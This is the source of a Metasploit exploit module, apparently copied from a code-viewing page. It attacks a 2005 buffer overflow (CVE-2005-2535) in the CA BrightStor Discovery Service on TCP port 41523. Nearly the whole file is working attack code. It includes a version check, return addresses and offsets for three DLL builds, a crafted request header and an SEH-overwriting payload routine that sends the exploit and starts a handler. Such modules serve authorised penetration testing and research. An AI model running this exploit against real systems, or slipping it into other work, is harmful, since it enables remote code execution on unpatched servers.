Path: blob/master/modules/exploits/windows/brightstor/discovery_tcp.rb
33022 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'CA BrightStor Discovery Service TCP Overflow',16'Description' => %q{17This module exploits a vulnerability in the CA BrightStor18Discovery Service. This vulnerability occurs when a specific19type of request is sent to the TCP listener on port 41523.20This vulnerability was discovered by cybertronic[at]gmx.net21and affects all known versions of the BrightStor product.22This module is based on the 'cabrightstor_disco' exploit by23HD Moore.24},25'Author' => [ 'hdm', 'aushack' ],26'License' => MSF_LICENSE,27'References' => [28[ 'CVE', '2005-2535'],29[ 'OSVDB', '13814'],30[ 'BID', '12536'],31[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2005-02/0123.html'],32[ 'EDB', '1131']33],34'Privileged' => true,35'Payload' => {36'Space' => 2048,37'BadChars' => "\x00",38'StackAdjustment' => -350039},40'Targets' => [41[42'cheyprod.dll 9/14/2000', # Build 1220.0 9/14/2000 7.0.1220.043{44'Platform' => 'win',45'Ret' => 0x23803b20, # pop/pop/ret46'Offset' => 103247},48],49[50'cheyprod.dll 12/12/2003',51{52'Platform' => 'win',53'Ret' => 0x23805714, # pop/pop/ret54'Offset' => 102455},56],57[58'cheyprod.dll 07/21/2004',59{60'Platform' => 'win',61'Ret' => 0x23805d10, # pop/pop/ret62'Offset' => 102463},64],65],66'DisclosureDate' => '2005-02-14',67'DefaultTarget' => 1,68'Notes' => {69'Reliability' => UNKNOWN_RELIABILITY,70'Stability' => UNKNOWN_STABILITY,71'SideEffects' => UNKNOWN_SIDE_EFFECTS72}73)74)7576register_options(77[78Opt::RPORT(41523)79]80)81end8283def check84# The first request should have no reply85csock = Rex::Socket::Tcp.create(86'PeerHost' => datastore['RHOST'],87'PeerPort' => datastore['RPORT'],88'Context' =>89{90'Msf' => framework,91'MsfExploit' => self92}93)9495csock.put('META')96x = csock.get_once(-1, 3)97csock.close9899# The second request should be replied with the host name100csock = Rex::Socket::Tcp.create(101'PeerHost' => datastore['RHOST'],102'PeerPort' => datastore['RPORT'],103'Context' =>104{105'Msf' => framework,106'MsfExploit' => self107}108)109110csock.put('hMETA')111y = csock.get_once(-1, 3)112csock.close113114if (y and !x)115return Exploit::CheckCode::Detected116end117118return Exploit::CheckCode::Safe119end120121def exploit122connect123124print_status("Trying target #{target.name}...")125126buf = rand_text_english(4096)127128# Overwriting the return address works well, but the only register129# pointing back to our code is 'esp'. The following stub overwrites130# the SEH frame instead, making things a bit easier.131132seh = generate_seh_payload(target.ret)133buf[target['Offset'], seh.length] = seh134135# Make sure the return address is invalid to trigger SEH136buf[900, 100] = (rand(128..254)).chr * 100137138# SERVICEPC is the client host name actually =P (thanks Juliano!)139req = "\x9b" + 'SERVICEPC' + "\x18" + [0x01020304].pack('N') + 'SERVICEPC' + "\x01\x0c\x6c\x93\xce\x18\x18\x41"140req << buf141142sock.put(req)143sock.get_once144145handler146disconnect147end148end149150151